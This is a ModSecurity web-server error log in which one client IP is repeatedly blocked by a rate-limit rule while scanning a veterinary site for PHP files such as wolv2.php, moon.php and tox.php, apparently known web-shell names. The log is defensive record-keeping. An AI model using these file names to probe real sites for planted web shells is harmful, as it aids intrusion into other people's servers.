[Fri Jan 02 20:37:12.819027 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:17437] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aVe7-Mez9k78gUs48kpV4wAAAA4"]
[Fri Jan 02 20:37:13.298583 2026] [:error] [pid 63100:tid 63166] [client 4.189.161.129:13927] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aVe7-TuUXUKd3KTnKl9KKAAAAIU"]
[Fri Jan 02 20:37:13.790369 2026] [:error] [pid 63100:tid 63172] [client 4.189.161.129:17409] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aVe7-TuUXUKd3KTnKl9KKwAAAIs"]
[Fri Jan 02 20:37:14.200612 2026] [:error] [pid 63099:tid 63149] [client 4.189.161.129:17449] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aVe7-smCZokRPYUhzvi41wAAAE8"]
[Fri Jan 02 20:37:14.886429 2026] [:error] [pid 63208:tid 63211] [client 4.189.161.129:13950] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aVe7-nKLI9INGPLzfndDegAAAMA"]
[Fri Jan 02 20:37:15.440914 2026] [:error] [pid 63099:tid 63136] [client 4.189.161.129:45585] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aVe7-8mCZokRPYUhzvi42wAAAEI"]
[Fri Jan 02 20:37:15.821971 2026] [:error] [pid 29316:tid 29323] [client 4.189.161.129:60608] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aVe7-9fT9ty-7jZmgf-pEQAAAQU"]
[Fri Jan 02 20:37:16.280937 2026] [:error] [pid 29316:tid 29330] [client 4.189.161.129:45592] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aVe7_NfT9ty-7jZmgf-pEwAAAQw"]
[Fri Jan 02 20:37:16.906050 2026] [:error] [pid 63099:tid 63150] [client 4.189.161.129:46848] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aVe7_MmCZokRPYUhzvi43QAAAFA"]
[Fri Jan 02 20:37:17.355865 2026] [:error] [pid 29316:tid 29341] [client 4.189.161.129:46853] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aVe7_dfT9ty-7jZmgf-pFgAAARc"]
[Fri Jan 02 20:37:17.727458 2026] [:error] [pid 63098:tid 63125] [client 4.189.161.129:57728] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aVe7_cez9k78gUs48kpV6wAAABI"]
[Fri Jan 02 20:37:18.287874 2026] [:error] [pid 63208:tid 63223] [client 4.189.161.129:17416] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aVe7_nKLI9INGPLzfndDewAAAMw"]
[Fri Jan 02 20:37:18.985761 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:46874] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/moon.php"] [unique_id "aVe7_sez9k78gUs48kpV7QAAAA4"]
[Fri Jan 02 20:37:19.498891 2026] [:error] [pid 50186:tid 50211] [client 4.189.161.129:46895] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/moon.php"] [unique_id "aVe7_1XqK_iX4f-S70Jv-QAAAZc"]
[Fri Jan 02 20:37:20.380456 2026] [:error] [pid 63098:tid 63122] [client 4.189.161.129:57761] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/moon.php"] [unique_id "aVe8AMez9k78gUs48kpV9gAAAA8"]
[Fri Jan 02 20:37:20.815172 2026] [:error] [pid 63098:tid 63117] [client 4.189.161.129:57732] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/moon.php"] [unique_id "aVe8AMez9k78gUs48kpV-QAAAAo"]
[Fri Jan 02 20:37:21.227176 2026] [:error] [pid 43358:tid 43382] [client 4.189.161.129:45586] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aVe8AQncbHK9auzvrA9SRwAAAdY"]
[Fri Jan 02 20:37:21.676992 2026] [:error] [pid 43358:tid 43361] [client 4.189.161.129:46885] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aVe8AQncbHK9auzvrA9SSgAAAcE"]
[Fri Jan 02 20:37:22.005299 2026] [:error] [pid 63208:tid 63215] [client 4.189.161.129:46854] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aVe8AnKLI9INGPLzfndDgQAAAMQ"]
[Fri Jan 02 20:37:22.388435 2026] [:error] [pid 50186:tid 50200] [client 4.189.161.129:60639] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aVe8AlXqK_iX4f-S70Jv_QAAAYw"]
[Fri Jan 02 20:37:22.942659 2026] [:error] [pid 29316:tid 29338] [client 4.189.161.129:45631] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aVe8AtfT9ty-7jZmgf-pGwAAARQ"]
[Fri Jan 02 20:37:23.580327 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:41496] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aVe8A8ez9k78gUs48kpV-gAAAA4"]
[Fri Jan 02 20:37:24.004232 2026] [:error] [pid 43358:tid 43366] [client 4.189.161.129:45573] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aVe8BAncbHK9auzvrA9SUwAAAcY"]
[Fri Jan 02 20:37:24.357120 2026] [:error] [pid 63098:tid 63128] [client 4.189.161.129:13946] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aVe8BMez9k78gUs48kpV_QAAABU"]
[Fri Jan 02 20:37:24.759419 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:13913] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aVe8BMez9k78gUs48kpWAAAAAAw"]
[Fri Jan 02 20:37:25.138529 2026] [:error] [pid 63098:tid 63113] [client 4.189.161.129:45615] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aVe8Bcez9k78gUs48kpWAgAAAAY"]
[Fri Jan 02 20:37:25.570754 2026] [:error] [pid 63099:tid 63153] [client 4.189.161.129:60670] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aVe8BcmCZokRPYUhzvi43gAAAFM"]
[Fri Jan 02 20:37:26.175189 2026] [:error] [pid 50046:tid 50070] [client 4.189.161.129:60664] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aVe8Bizv7fgIiwkQYNCqMwAAAVY"]
[Fri Jan 02 20:37:26.795059 2026] [:error] [pid 50186:tid 50212] [client 4.189.161.129:57733] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aVe8BlXqK_iX4f-S70Jv_wAAAZg"]
[Fri Jan 02 20:37:27.851170 2026] [:error] [pid 63099:tid 63156] [client 4.189.161.129:60628] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aVe8B8mCZokRPYUhzvi44AAAAFY"]
[Fri Jan 02 20:37:30.241958 2026] [:error] [pid 63100:tid 63179] [client 4.189.161.129:46891] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aVe8CjuUXUKd3KTnKl9KNwAAAJI"]
[Fri Jan 02 20:37:30.568327 2026] [:error] [pid 63100:tid 63176] [client 4.189.161.129:60618] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aVe8CjuUXUKd3KTnKl9KOwAAAI8"]
[Fri Jan 02 20:37:31.058601 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:60654] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aVe8C8ez9k78gUs48kpWDQAAAAw"]
[Fri Jan 02 20:37:31.424648 2026] [:error] [pid 50046:tid 50054] [client 4.189.161.129:46867] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aVe8Cyzv7fgIiwkQYNCqNQAAAUY"]
[Fri Jan 02 20:37:32.315332 2026] [:error] [pid 50186:tid 50189] [client 4.189.161.129:45594] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aVe8DFXqK_iX4f-S70JwBAAAAYE"]
[Fri Jan 02 20:37:33.151784 2026] [:error] [pid 29316:tid 29320] [client 4.189.161.129:57783] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aVe8DdfT9ty-7jZmgf-pKAAAAQI"]
[Fri Jan 02 20:37:33.530838 2026] [:error] [pid 50046:tid 50060] [client 4.189.161.129:57787] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aVe8DSzv7fgIiwkQYNCqOQAAAUw"]
[Fri Jan 02 20:37:33.836647 2026] [:error] [pid 29316:tid 29335] [client 4.189.161.129:45600] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aVe8DdfT9ty-7jZmgf-pKwAAARE"]
[Fri Jan 02 20:37:34.351712 2026] [:error] [pid 50186:tid 50197] [client 4.189.161.129:17452] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aVe8DlXqK_iX4f-S70JwBwAAAYk"]
[Fri Jan 02 20:37:35.020764 2026] [:error] [pid 63208:tid 63216] [client 4.189.161.129:45568] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aVe8D3KLI9INGPLzfndDkwAAAMU"]
[Fri Jan 02 20:37:35.415680 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:57767] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aVe8D8ez9k78gUs48kpWEAAAAAg"]
[Fri Jan 02 20:37:35.868872 2026] [:error] [pid 43358:tid 43375] [client 4.189.161.129:60635] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aVe8DwncbHK9auzvrA9SaQAAAc8"]
[Fri Jan 02 20:37:36.363843 2026] [:error] [pid 29316:tid 29318] [client 4.189.161.129:57755] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aVe8ENfT9ty-7jZmgf-pLwAAAQA"]
[Fri Jan 02 20:37:36.747669 2026] [:error] [pid 63100:tid 63161] [client 4.189.161.129:57739] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aVe8EDuUXUKd3KTnKl9KQgAAAIA"]
[Fri Jan 02 20:37:37.495904 2026] [:error] [pid 63099:tid 63151] [client 4.189.161.129:60616] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aVe8EcmCZokRPYUhzvi45AAAAFE"]
[Fri Jan 02 20:37:37.880250 2026] [:error] [pid 63099:tid 63139] [client 4.189.161.129:45580] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aVe8EcmCZokRPYUhzvi45gAAAEU"]
[Fri Jan 02 20:37:38.527723 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:46860] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aVe8EnKLI9INGPLzfndDlwAAAMc"]
[Fri Jan 02 20:37:38.788665 2026] [:error] [pid 63099:tid 63142] [client 4.189.161.129:57776] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aVe8EsmCZokRPYUhzvi46AAAAEg"]
[Fri Jan 02 20:37:39.332156 2026] [:error] [pid 63100:tid 63182] [client 4.189.161.129:46881] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aVe8EzuUXUKd3KTnKl9KRQAAAJU"]
[Fri Jan 02 20:37:39.666993 2026] [:error] [pid 43358:tid 43381] [client 4.189.161.129:17411] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aVe8EwncbHK9auzvrA9SagAAAdU"]
[Fri Jan 02 20:37:39.960235 2026] [:error] [pid 50046:tid 50059] [client 4.189.161.129:45609] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aVe8Eyzv7fgIiwkQYNCqTwAAAUs"]
[Fri Jan 02 20:37:40.438429 2026] [:error] [pid 43358:tid 43369] [client 4.189.161.129:13921] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aVe8FAncbHK9auzvrA9SbgAAAck"]
[Fri Jan 02 20:37:40.809113 2026] [:error] [pid 29316:tid 29328] [client 4.189.161.129:57778] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aVe8FNfT9ty-7jZmgf-pMgAAAQo"]
[Fri Jan 02 20:37:41.202243 2026] [:error] [pid 63100:tid 63170] [client 4.189.161.129:45608] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aVe8FTuUXUKd3KTnKl9KSAAAAIk"]
[Fri Jan 02 20:37:41.510744 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:46851] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aVe8Fcez9k78gUs48kpWEgAAAAE"]
[Fri Jan 02 20:37:41.791595 2026] [:error] [pid 63099:tid 63145] [client 4.189.161.129:46865] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aVe8FcmCZokRPYUhzvi46wAAAEs"]
